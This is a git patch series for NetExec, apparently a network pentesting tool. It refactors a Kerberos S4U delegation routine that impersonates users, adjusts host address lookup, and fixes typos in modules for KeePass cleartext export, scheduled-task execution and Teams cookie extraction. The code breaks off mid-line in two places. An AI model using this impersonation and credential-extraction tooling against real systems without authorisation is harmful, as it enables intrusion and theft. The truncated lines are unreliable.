proto_logger(self): - self.port = self.args.port self.logger = NXCAdapter( extra={ "protocol": "MSSQL", diff --git a/nxc/protocols/rdp.py b/nxc/protocols/rdp.py index 78b85088b..1164af1d8 100644 --- a/nxc/protocols/rdp.py +++ b/nxc/protocols/rdp.py @@ -94,7 +94,6 @@ def __init__(self, args, db, host): # self.call_cmd_args() def proto_logger(self): - self.port = self.args.port self.logger = NXCAdapter( extra={ "protocol": "RDP", diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 1f5d74b1f..c8ae1fdd4 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -173,7 +173,6 @@ def __init__(self, args, db, host): connection.__init__(self, args, db, host) def proto_logger(self): - self.port = self.args.port self.logger = NXCAdapter( extra={ "protocol": "SMB", diff --git a/nxc/protocols/ssh.py b/nxc/protocols/ssh.py index 24b8bf19a..0a37aebed 100644 --- a/nxc/protocols/ssh.py +++ b/nxc/protocols/ssh.py @@ -24,7 +24,6 @@ def __init__(self, args, db, host): super().__init__(args, db, host) def proto_logger(self): - self.port = self.args.port self.logger = NXCAdapter( extra={ "protocol": "SSH", diff --git a/nxc/protocols/vnc.py b/nxc/protocols/vnc.py index fa4ccae8a..88436b78b 100644 --- a/nxc/protocols/vnc.py +++ b/nxc/protocols/vnc.py @@ -39,7 +39,6 @@ def proto_flow(self): self.call_cmd_args() def proto_logger(self): - self.port = self.args.port self.logger = NXCAdapter( extra={ "protocol": "VNC", diff --git a/nxc/protocols/wmi.py b/nxc/protocols/wmi.py index cab4cf9ce..21ea3bab6 100644 --- a/nxc/protocols/wmi.py +++ b/nxc/protocols/wmi.py @@ -51,7 +51,6 @@ def __init__(self, args, db, host): connection.__init__(self, args, db, host) def proto_logger(self): - self.port = self.args.port self.logger = NXCAdapter(extra={'protocol': 'WMI', 'host': self.host, 'port': self.port, From 8f36ad2b1bb223ff963baa739152c6e44b1c1f37 Mon Sep 17 00:00:00 2001 From: XiaoliChan <2209553467@qq.com> Date: Thu, 19 Oct 2023 11:00:56 +0800 Subject: [PATCH 07/28] [connection.py] remove ugly space Signed-off-by: XiaoliChan <2209553467@qq.com> --- nxc/connection.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/connection.py b/nxc/connection.py index ee981bc63..3c9413a25 100755 --- a/nxc/connection.py +++ b/nxc/connection.py @@ -24,7 +24,7 @@ def gethost_addrinfo(hostname): is_ipv6 = False is_link_local_ipv6 = False - for res in getaddrinfo( hostname, None, AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME): + for res in getaddrinfo(hostname, None, AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME): af, socktype, proto, canonname, sa = res if ip_address(sa[0]).version == 6: is_ipv6 = True From 8ea441595c18062c4f484e7b0541b602edec0cb4 Mon Sep 17 00:00:00 2001 From: zblurx Date: Thu, 19 Oct 2023 11:07:50 +0200 Subject: [PATCH 08/28] cleanup --- nxc/protocols/smb.py | 4 +- nxc/protocols/smb/kerberos.py | 287 +++++++++++--------------------- nxc/protocols/smb/proto_args.py | 24 ++- 3 files changed, 117 insertions(+), 198 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index fe1dc4e8c..c6a8ed80c 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -408,7 +408,7 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", if self.args.delegate: kerb_pass = "" self.username = self.args.delegate - serverName = Principal('cifs/'+self.hostname, type=constants.PrincipalNameType.NT_SRV_INST.value) + serverName = Principal(f"cifs/{self.hostname}", type=constants.PrincipalNameType.NT_SRV_INST.value) tgs = kerberos_login_with_S4U(domain, self.hostname, username, password, nthash, lmhash, aesKey,kdcHost, self.args.delegate, serverName, useCache, no_s4u2proxy=self.args.no_s4u2proxy) self.logger.debug(f"Got TGS for {self.args.delegate} through S4U") @@ -436,7 +436,7 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", if self.args.continue_on_success and self.signing: try: self.conn.logoff() - except: + except Exception: pass self.create_conn_obj() diff --git a/nxc/protocols/smb/kerberos.py b/nxc/protocols/smb/kerberos.py index 805c55ec7..e8795a85f 100644 --- a/nxc/protocols/smb/kerberos.py +++ b/nxc/protocols/smb/kerberos.py @@ -2,7 +2,6 @@ import logging import struct import random -from impacket.winregistry import hexdump from six import b from pyasn1.codec.der import decoder, encoder @@ -17,17 +16,18 @@ from impacket.krb5 import constants def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash, aesKey, kdcHost, impersonate, spn, useCache, no_s4u2proxy = False): + logger = logging.getLogger("nxc") TGT = None if useCache: - domain, user, tgt, _ = CCache.parseFile(domain, user, 'cifs/%s' % hostname) + domain, user, tgt, _ = CCache.parseFile(domain, username, f"cifs/{hostname}") if TGT is None: raise - TGT = tgt['KDC_REP'] - cipher = tgt['cipher'] - sessionKey = tgt['sessionKey'] + TGT = tgt["KDC_REP"] + cipher = tgt["cipher"] + sessionKey = tgt["sessionKey"] if TGT is None: userName = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) - logging.info('Getting TGT for user') + logger.debug("Getting TGT for user") tgt, cipher, _, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, aesKey, @@ -36,33 +36,28 @@ def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash decodedTGT=TGT # Extract the ticket from the TGT ticket = Ticket() - ticket.from_asn1(decodedTGT['ticket']) + ticket.from_asn1(decodedTGT["ticket"]) apReq = AP_REQ() - apReq['pvno'] = 5 - apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) + apReq["pvno"] = 5 + apReq["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = list() - apReq['ap-options'] = constants.encodeFlags(opts) - seq_set(apReq, 'ticket', ticket.to_asn1) + apReq["ap-options"] = constants.encodeFlags(opts) + seq_set(apReq, "ticket", ticket.to_asn1) authenticator = Authenticator() - authenticator['authenticator-vno'] = 5 - authenticator['crealm'] = str(decodedTGT['crealm']) + authenticator["authenticator-vno"] = 5 + authenticator["crealm"] = str(decodedTGT["crealm"]) clientName = Principal() - clientName.from_asn1(decodedTGT, 'crealm', 'cname') + clientName.from_asn1(decodedTGT, "crealm", "cname") - seq_set(authenticator, 'cname', clientName.components_to_asn1) + seq_set(authenticator, "cname", clientName.components_to_asn1) now = datetime.datetime.utcnow() - authenticator['cusec'] = now.microsecond - authenticator['ctime'] = KerberosTime.to_asn1(now) - - if logging.getLogger().level == logging.DEBUG: - logging.debug('AUTHENTICATOR') - print(authenticator.prettyPrint()) - print('\n') + authenticator["cusec"] = now.microsecond + authenticator["ctime"] = KerberosTime.to_asn1(now) encodedAuthenticator = encoder.encode(authenticator) @@ -72,33 +67,29 @@ def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash # key (Section 5.5.1) encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) - apReq['authenticator'] = noValue - apReq['authenticator']['etype'] = cipher.enctype - apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator + apReq["authenticator"] = noValue + apReq["authenticator"]["etype"] = cipher.enctype + apReq["authenticator"]["cipher"] = encryptedEncodedAuthenticator encodedApReq = encoder.encode(apReq) tgsReq = TGS_REQ() - tgsReq['pvno'] = 5 - tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) + tgsReq["pvno"] = 5 + tgsReq["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value) - tgsReq['padata'] = noValue - tgsReq['padata'][0] = noValue - tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) - tgsReq['padata'][0]['padata-value'] = encodedApReq + tgsReq["padata"] = noValue + tgsReq["padata"][0] = noValue + tgsReq["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) + tgsReq["padata"][0]["padata-value"] = encodedApReq # In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service # requests a service ticket to itself on behalf of a user. The user is - # identified to the KDC by the user's name and realm. + # identified to the KDC by the user"s name and realm. clientName = Principal(impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value) - S4UByteArray = struct.pack(' Date: Sat, 21 Oct 2023 12:42:28 +0200 Subject: [PATCH 09/28] fix camelcase and logger import --- nxc/protocols/smb/kerberos.py | 243 +++++++++++++++++----------------- 1 file changed, 122 insertions(+), 121 deletions(-) diff --git a/nxc/protocols/smb/kerberos.py b/nxc/protocols/smb/kerberos.py index e8795a85f..e71338df4 100644 --- a/nxc/protocols/smb/kerberos.py +++ b/nxc/protocols/smb/kerberos.py @@ -1,5 +1,4 @@ import datetime -import logging import struct import random from six import b @@ -7,224 +6,226 @@ from pyasn1.codec.der import decoder, encoder from pyasn1.type.univ import noValue -from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, \ - Ticket as TicketAsn1, EncTGSRepPart, PA_PAC_OPTIONS +from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, \ + seq_set, seq_set_iter, PA_FOR_USER_ENC, Ticket as TicketAsn1, EncTGSRepPart, \ + PA_PAC_OPTIONS from impacket.krb5.types import Principal, KerberosTime, Ticket from impacket.krb5.kerberosv5 import sendReceive, getKerberosTGT from impacket.krb5.ccache import CCache from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5 from impacket.krb5 import constants -def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash, aesKey, kdcHost, impersonate, spn, useCache, no_s4u2proxy = False): - logger = logging.getLogger("nxc") - TGT = None - if useCache: - domain, user, tgt, _ = CCache.parseFile(domain, username, f"cifs/{hostname}") - if TGT is None: +from nxc.logger import nxc_logger + +def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash, aesKey, kdcHost, impersonate, spn, use_cache, no_s4u2proxy = False): + my_tgt = None + if use_cache: + domain, _, tgt, _ = CCache.parseFile(domain, username, f"cifs/{hostname}") + if my_tgt is None: raise - TGT = tgt["KDC_REP"] + my_tgt = tgt["KDC_REP"] cipher = tgt["cipher"] - sessionKey = tgt["sessionKey"] - if TGT is None: - userName = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) - logger.debug("Getting TGT for user") - tgt, cipher, _, sessionKey = getKerberosTGT(userName, password, domain, + session_key = tgt["sessionKey"] + if my_tgt is None: + principal = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + nxc_logger.debug("Getting TGT for user") + tgt, cipher, _, session_key = getKerberosTGT(principal, password, domain, lmhash, nthash, aesKey, kdcHost) - TGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] - decodedTGT=TGT + my_tgt = decoder.decode(tgt, asn1Spec=AS_REP())[0] + decoded_tgt=my_tgt # Extract the ticket from the TGT ticket = Ticket() - ticket.from_asn1(decodedTGT["ticket"]) + ticket.from_asn1(decoded_tgt["ticket"]) - apReq = AP_REQ() - apReq["pvno"] = 5 - apReq["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value) + ap_req = AP_REQ() + ap_req["pvno"] = 5 + ap_req["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = list() - apReq["ap-options"] = constants.encodeFlags(opts) - seq_set(apReq, "ticket", ticket.to_asn1) + ap_req["ap-options"] = constants.encodeFlags(opts) + seq_set(ap_req, "ticket", ticket.to_asn1) authenticator = Authenticator() authenticator["authenticator-vno"] = 5 - authenticator["crealm"] = str(decodedTGT["crealm"]) + authenticator["crealm"] = str(decoded_tgt["crealm"]) - clientName = Principal() - clientName.from_asn1(decodedTGT, "crealm", "cname") + client_name = Principal() + client_name.from_asn1(decoded_tgt, "crealm", "cname") - seq_set(authenticator, "cname", clientName.components_to_asn1) + seq_set(authenticator, "cname", client_name.components_to_asn1) now = datetime.datetime.utcnow() authenticator["cusec"] = now.microsecond authenticator["ctime"] = KerberosTime.to_asn1(now) - encodedAuthenticator = encoder.encode(authenticator) + encoded_authenticator = encoder.encode(authenticator) # Key Usage 7 # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes # TGS authenticator subkey), encrypted with the TGS session # key (Section 5.5.1) - encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) + encrypted_encoded_authenticator = cipher.encrypt(session_key, 7, encoded_authenticator, None) - apReq["authenticator"] = noValue - apReq["authenticator"]["etype"] = cipher.enctype - apReq["authenticator"]["cipher"] = encryptedEncodedAuthenticator + ap_req["authenticator"] = noValue + ap_req["authenticator"]["etype"] = cipher.enctype + ap_req["authenticator"]["cipher"] = encrypted_encoded_authenticator - encodedApReq = encoder.encode(apReq) + encoded_ap_req = encoder.encode(ap_req) - tgsReq = TGS_REQ() + tgs_req = TGS_REQ() - tgsReq["pvno"] = 5 - tgsReq["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value) + tgs_req["pvno"] = 5 + tgs_req["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value) - tgsReq["padata"] = noValue - tgsReq["padata"][0] = noValue - tgsReq["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) - tgsReq["padata"][0]["padata-value"] = encodedApReq + tgs_req["padata"] = noValue + tgs_req["padata"][0] = noValue + tgs_req["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) + tgs_req["padata"][0]["padata-value"] = encoded_ap_req # In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service # requests a service ticket to itself on behalf of a user. The user is - # identified to the KDC by the user"s name and realm. - clientName = Principal(impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + # identified to the KDC by the user's name and realm. + client_name = Principal(impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value) - S4UByteArray = struct.pack(" Date: Sat, 21 Oct 2023 18:47:01 +0200 Subject: [PATCH 10/28] remove single quotes --- nxc/protocols/smb/proto_args.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/smb/proto_args.py b/nxc/protocols/smb/proto_args.py index 8527acad2..fe0e292a9 100644 --- a/nxc/protocols/smb/proto_args.py +++ b/nxc/protocols/smb/proto_args.py @@ -6,7 +6,7 @@ def proto_args(parser, std_parser, module_parser): smb_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes") delegate_arg = smb_parser.add_argument("--delegate", action="store", help="Impersonate user with S4U2Self + S4U2Proxy") - self_delegate_arg = smb_parser.add_argument("--self", dest='no_s4u2proxy', action=get_conditional_action(_StoreTrueAction), make_required=[], help="Only do S4U2Self, no S4U2Proxy (use with delegate)") + self_delegate_arg = smb_parser.add_argument("--self", dest="no_s4u2proxy", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Only do S4U2Self, no S4U2Proxy (use with delegate)") dgroup = smb_parser.add_mutually_exclusive_group() dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, help="domain to authenticate to") dgroup.add_argument("--local-auth", action="store_true", help="authenticate locally to each target") From 6ac9f7f0a5c165296cb9a20cf2b73e903c6d1312 Mon Sep 17 00:00:00 2001 From: XiaoliChan <2209553467@qq.com> Date: Mon, 23 Oct 2023 23:49:12 +0800 Subject: [PATCH 11/28] [connection.py] IPv4 preferred Signed-off-by: XiaoliChan <2209553467@qq.com> --- nxc/connection.py | 21 +++++++++++++++++---- 1 file changed, 17 insertions(+), 4 deletions(-) diff --git a/nxc/connection.py b/nxc/connection.py index 3c9413a25..8b4620c3b 100755 --- a/nxc/connection.py +++ b/nxc/connection.py @@ -24,13 +24,26 @@ def gethost_addrinfo(hostname): is_ipv6 = False is_link_local_ipv6 = False + + address_info = { + "AF_INET6":"", + "AF_INET":"" + } + for res in getaddrinfo(hostname, None, AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME): af, socktype, proto, canonname, sa = res - if ip_address(sa[0]).version == 6: - is_ipv6 = True - host, is_link_local_ipv6 = (canonname, True) if ip_address(sa[0]).is_link_local else (sa[0], False) + if af.name == "AF_INET6": + address_info["AF_INET6"] = sa[0] + else: + address_info["AF_INET"] = sa[0] + + # IPv4 preferred + if address_info["AF_INET"]: + host = address_info["AF_INET"] else: - host = sa[0] + is_ipv6 = True + host, is_link_local_ipv6 = (canonname, True) if ip_address(address_info["AF_INET6"]).is_link_local else (address_info["AF_INET6"], False) + return host, is_ipv6, is_link_local_ipv6 def requires_admin(func): From a037ac9f4ae54171cd5448a76a2cbb3b462715d5 Mon Sep 17 00:00:00 2001 From: XiaoliChan <2209553467@qq.com> Date: Tue, 24 Oct 2023 00:23:51 +0800 Subject: [PATCH 12/28] [connection.py] less if condition Signed-off-by: XiaoliChan <2209553467@qq.com> --- nxc/connection.py | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) diff --git a/nxc/connection.py b/nxc/connection.py index 8b4620c3b..6e9968a68 100755 --- a/nxc/connection.py +++ b/nxc/connection.py @@ -31,11 +31,8 @@ def gethost_addrinfo(hostname): } for res in getaddrinfo(hostname, None, AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME): - af, socktype, proto, canonname, sa = res - if af.name == "AF_INET6": - address_info["AF_INET6"] = sa[0] - else: - address_info["AF_INET"] = sa[0] + af, _, _, canonname, sa = res + address_info[af.name] = sa[0] # IPv4 preferred if address_info["AF_INET"]: From 96ba933e12b3d6f47a73396c7e616b75ab3aeac9 Mon Sep 17 00:00:00 2001 From: XiaoliChan <2209553467@qq.com> Date: Tue, 24 Oct 2023 00:31:45 +0800 Subject: [PATCH 13/28] [connection.py] less line Signed-off-by: XiaoliChan <2209553467@qq.com> --- nxc/connection.py | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/nxc/connection.py b/nxc/connection.py index 6e9968a68..5d5183f46 100755 --- a/nxc/connection.py +++ b/nxc/connection.py @@ -24,11 +24,7 @@ def gethost_addrinfo(hostname): is_ipv6 = False is_link_local_ipv6 = False - - address_info = { - "AF_INET6":"", - "AF_INET":"" - } + address_info = {"AF_INET6":"", "AF_INET":""} for res in getaddrinfo(hostname, None, AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME): af, _, _, canonname, sa = res From 406f6934b0ee191803025f59f02c6a347de8966b Mon Sep 17 00:00:00 2001 From: XiaoliChan <2209553467@qq.com> Date: Sun, 29 Oct 2023 18:57:36 +0800 Subject: [PATCH 14/28] [connection.py] Add line break Signed-off-by: XiaoliChan <2209553467@qq.com> --- nxc/connection.py | 1 + 1 file changed, 1 insertion(+) diff --git a/nxc/connection.py b/nxc/connection.py index c4a150ad8..46f085c70 100755 --- a/nxc/connection.py +++ b/nxc/connection.py @@ -19,6 +19,7 @@ global_failed_logins = 0 user_failed_logins = {} + def gethost_addrinfo(hostname): is_ipv6 = False is_link_local_ipv6 = False From f18c279a1c9e417a6709151ae8decf0369285e5a Mon Sep 17 00:00:00 2001 From: XiaoliChan <2209553467@qq.com> Date: Sun, 29 Oct 2023 19:15:56 +0800 Subject: [PATCH 15/28] [connection.py] ruff Signed-off-by: XiaoliChan <2209553467@qq.com> --- nxc/connection.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/nxc/connection.py b/nxc/connection.py index 46f085c70..636dd0e66 100755 --- a/nxc/connection.py +++ b/nxc/connection.py @@ -1,5 +1,4 @@ import random -import socket from os.path import isfile from threading import BoundedSemaphore from functools import wraps @@ -23,7 +22,7 @@ def gethost_addrinfo(hostname): is_ipv6 = False is_link_local_ipv6 = False - address_info = {"AF_INET6":"", "AF_INET":""} + address_info = {"AF_INET6": "", "AF_INET": ""} for res in getaddrinfo(hostname, None, AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME): af, _, _, canonname, sa = res From f3e032c4e5ecad07935f10a512a82720e9cbeafe Mon Sep 17 00:00:00 2001 From: Surav Shrestha Date: Tue, 31 Oct 2023 17:17:26 +0545 Subject: [PATCH 16/28] fix typos in nxc/modules/daclread.py --- nxc/modules/daclread.py | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/nxc/modules/daclread.py b/nxc/modules/daclread.py index 5960bbd79..253221263 100644 --- a/nxc/modules/daclread.py +++ b/nxc/modules/daclread.py @@ -197,7 +197,7 @@ class NXCModule: """ name = "daclread" - description = "Read and backup the Discretionary Access Control List of objects. Based on the work of @_nwodtuhs and @BlWasp_. Be carefull, this module cannot read the DACLS recursively, more explains in the options." + description = "Read and backup the Discretionary Access Control List of objects. Based on the work of @_nwodtuhs and @BlWasp_. Be careful, this module cannot read the DACLS recursively, more explains in the options." supported_protocols = ["ldap"] opsec_safe = True multiple_hosts = False @@ -208,11 +208,11 @@ def __init__(self, context=None, module_options=None): def options(self, context, module_options): """ - Be carefull, this module cannot read the DACLS recursively. + Be careful, this module cannot read the DACLS recursively. For example, if an object has particular rights because it belongs to a group, the module will not be able to see it directly, you have to check the group rights manually. - TARGET The objects that we want to read or backup the DACLs, sepcified by its SamAccountName - TARGET_DN The object that we want to read or backup the DACL, specified by its DN (usefull to target the domain itself) + TARGET The objects that we want to read or backup the DACLs, specified by its SamAccountName + TARGET_DN The object that we want to read or backup the DACL, specified by its DN (useful to target the domain itself) PRINCIPAL The trustee that we want to filter on ACTION The action to realise on the DACL (read, backup) ACE_TYPE The type of ACE to read (Allowed or Denied) @@ -271,8 +271,8 @@ def options(self, context, module_options): self.filename = None def on_login(self, context, connection): - """On a successful LDAP login we perform a search for the targets' SID, their Security Decriptors and the principal's SID if there is one specified""" - context.log.highlight("Be carefull, this module cannot read the DACLS recursively.") + """On a successful LDAP login we perform a search for the targets' SID, their Security Descriptors and the principal's SID if there is one specified""" + context.log.highlight("Be careful, this module cannot read the DACLS recursively.") self.baseDN = connection.ldapConnection._baseDN self.ldap_session = connection.ldapConnection @@ -292,7 +292,7 @@ def on_login(self, context, connection): context.log.fail(f"Principal SID not found in LDAP ({_lookedup_principal})") sys.exit(1) - # Searching for the targets SID and their Security Decriptors + # Searching for the targets SID and their Security Descriptors # If there is only one target if (self.target_sAMAccountName or self.target_DN) and self.target_file is None: # Searching for target account with its security descriptor @@ -383,7 +383,7 @@ def search_target_principal_security_descriptor(self, context, connection): context.log.fail(f"Principal not found in LDAP ({_lookedup_principal}), probably an LDAP session issue.") sys.exit(0) - # Attempts to retieve the SID and Distinguisehd Name from the sAMAccountName + # Attempts to retrieve the SID and Distinguisehd Name from the sAMAccountName # Not used for the moment # - samname : a sAMAccountName def get_user_info(self, context, samname): From b8476fce4ffb652f8a8ee99803589b4da0bddd44 Mon Sep 17 00:00:00 2001 From: Surav Shrestha Date: Tue, 31 Oct 2023 17:17:26 +0545 Subject: [PATCH 17/28] fix typos in nxc/modules/example_module.py --- nxc/modules/example_module.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/nxc/modules/example_module.py b/nxc/modules/example_module.py index 265bb4c34..274a86e69 100644 --- a/nxc/modules/example_module.py +++ b/nxc/modules/example_module.py @@ -39,9 +39,9 @@ def on_login(self, context, connection): # These are for more critical error handling context.log.error("I'm doing something") # This will not be printed in the module context and should only be used for critical errors (e.g. a required python file is missing) try: - raise Exception("Exception that might occure") + raise Exception("Exception that might have occurred") except Exception as e: - context.log.exception(f"Exception occured: {e}") # This will display an exception traceback screen after an exception was raised and should only be used for critical errors + context.log.exception(f"Exception occurred: {e}") # This will display an exception traceback screen after an exception was raised and should only be used for critical errors def on_admin_login(self, context, connection): """Concurrent. From 9fa09da8a966c28a0ca14b9188a1ce71b5fe2187 Mon Sep 17 00:00:00 2001 From: Surav Shrestha Date: Tue, 31 Oct 2023 17:17:26 +0545 Subject: [PATCH 18/28] fix typos in nxc/modules/keepass_trigger.py --- nxc/modules/keepass_trigger.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/keepass_trigger.py b/nxc/modules/keepass_trigger.py index dc763dc57..8b17b2053 100644 --- a/nxc/modules/keepass_trigger.py +++ b/nxc/modules/keepass_trigger.py @@ -74,7 +74,7 @@ def options(self, context, module_options): USER Targeted user running KeePass, used to restart the appropriate process (used by RESTART action) - EXPORT_NAME Name fo the database export file, default: export.xml + EXPORT_NAME Name of the database export file, default: export.xml EXPORT_PATH Path where to export the KeePass database in cleartext default: C:\\Users\\Public, %APPDATA% works well too for user permissions From 2bcb04fcd3c14bc0b88d88f4be0eecbab431fef1 Mon Sep 17 00:00:00 2001 From: Surav Shrestha Date: Tue, 31 Oct 2023 17:17:26 +0545 Subject: [PATCH 19/28] fix typos in nxc/modules/ldap-checker.py --- nxc/modules/ldap-checker.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/nxc/modules/ldap-checker.py b/nxc/modules/ldap-checker.py index 33bdc4fcd..075132a43 100644 --- a/nxc/modules/ldap-checker.py +++ b/nxc/modules/ldap-checker.py @@ -54,10 +54,10 @@ async def run_ldaps_noEPA(target, credential): # Conduct a bind to LDAPS with channel binding supported # but intentionally miscalculated. In the case that and - # LDAPS bind has without channel binding supported has occured, + # LDAPS bind has without channel binding supported has occurred, # you can determine whether the policy is set to "never" or # if it's set to "when supported" based on the potential - # error recieved from the bind attempt. + # error received from the bind attempt. async def run_ldaps_withEPA(target, credential): ldapsClientConn = MSLDAPClientConnection(target, credential) _, err = await ldapsClientConn.connect() From 568cf72860784abcff95ebf092da53c6e9589809 Mon Sep 17 00:00:00 2001 From: Surav Shrestha Date: Tue, 31 Oct 2023 17:17:26 +0545 Subject: [PATCH 20/28] fix typos in nxc/modules/scan-network.py --- nxc/modules/scan-network.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/scan-network.py b/nxc/modules/scan-network.py index 3832193e2..1bb51816a 100644 --- a/nxc/modules/scan-network.py +++ b/nxc/modules/scan-network.py @@ -52,7 +52,7 @@ def new_record(rtype, serial): nr["Type"] = rtype nr["Serial"] = serial nr["TtlSeconds"] = 180 - # From authoritive zone + # From authoritative zone nr["Rank"] = 240 return nr From e993b205d04d2a23072f7464d7db8f26290c50bd Mon Sep 17 00:00:00 2001 From: Surav Shrestha Date: Tue, 31 Oct 2023 17:17:26 +0545 Subject: [PATCH 21/28] fix typos in nxc/modules/schtask_as.py --- nxc/modules/schtask_as.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/nxc/modules/schtask_as.py b/nxc/modules/schtask_as.py index f6a4fb857..ff3646eb8 100644 --- a/nxc/modules/schtask_as.py +++ b/nxc/modules/schtask_as.py @@ -56,7 +56,7 @@ def on_admin_login(self, context, connection): connection.hash, self.logger, connection.args.get_output_tries, - "C$", # This one shouldn't be hardcoded but I don't know where to retrive the info + "C$", # This one shouldn't be hardcoded but I don't know where to retrieve the info ) self.logger.display(f"Executing {self.cmd} as {self.user}") @@ -66,7 +66,7 @@ def on_admin_login(self, context, connection): if not isinstance(output, str): output = output.decode(connection.args.codec) except UnicodeDecodeError: - # Required to decode specific french caracters otherwise it'll print b"" + # Required to decode specific French characters otherwise it'll print b"" output = output.decode("cp437") if output: self.logger.highlight(output) From 6386231e4fa8250619263dffb69d173bb6e96dc1 Mon Sep 17 00:00:00 2001 From: Surav Shrestha Date: Tue, 31 Oct 2023 17:17:26 +0545 Subject: [PATCH 22/28] fix typos in nxc/modules/teams_localdb.py --- nxc/modules/teams_localdb.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/teams_localdb.py b/nxc/modules/teams_localdb.py index 5e35760a8..da32fd20d 100644 --- a/nxc/modules/teams_localdb.py +++ b/nxc/modules/teams_localdb.py @@ -44,7 +44,7 @@ def parse_file(context, name): if row is None: context.log.fail("No " + name + " present in Microsoft Teams Cookies database") else: - context.log.success("Succesfully extracted " + name + ": ") + context.log.success("Successfully extracted " + name + ": ") context.log.success(row[0]) conn.close() except Exception as e: From 671afcc039d8b9ec8aebc7e30eb0965c17a98ad0 Mon Sep 17 00:00:00 2001 From: Surav Shrestha Date: Tue, 31 Oct 2023 17:17:26 +0545 Subject: [PATCH 23/28] fix typos in nxc/modules/user_desc.py --- nxc/modules/user_desc.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/nxc/modules/user_desc.py b/nxc/modules/user_desc.py index e6177270a..0836a903d 100644 --- a/nxc/modules/user_desc.py +++ b/nxc/modules/user_desc.py @@ -28,10 +28,10 @@ def __init__(self, context=None, multiple_options=None): def options(self, context, module_options): """ LDAP_FILTER Custom LDAP search filter (fully replaces the default search) - DESC_FILTER An additional seach filter for descriptions (supports wildcard *) - DESC_INVERT An additional seach filter for descriptions (shows non matching) - USER_FILTER An additional seach filter for usernames (supports wildcard *) - USER_INVERT An additional seach filter for usernames (shows non matching) + DESC_FILTER An additional search filter for descriptions (supports wildcard *) + DESC_INVERT An additional search filter for descriptions (shows non matching) + USER_FILTER An additional search filter for usernames (supports wildcard *) + USER_INVERT An additional search filter for usernames (shows non matching) KEYWORDS Use a custom set of keywords (comma separated) ADD_KEYWORDS Add additional keywords to the default set (comma separated) """ From 079c224f177a573bb4231a15885dc40641e10028 Mon Sep 17 00:00:00 2001 From: Alex <61382599+NeffIsBack@users.noreply.github.com> Date: Tue, 31 Oct 2023 14:29:15 +0100 Subject: [PATCH 24/28] Fix import error on windows --- nxc/netexec.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) 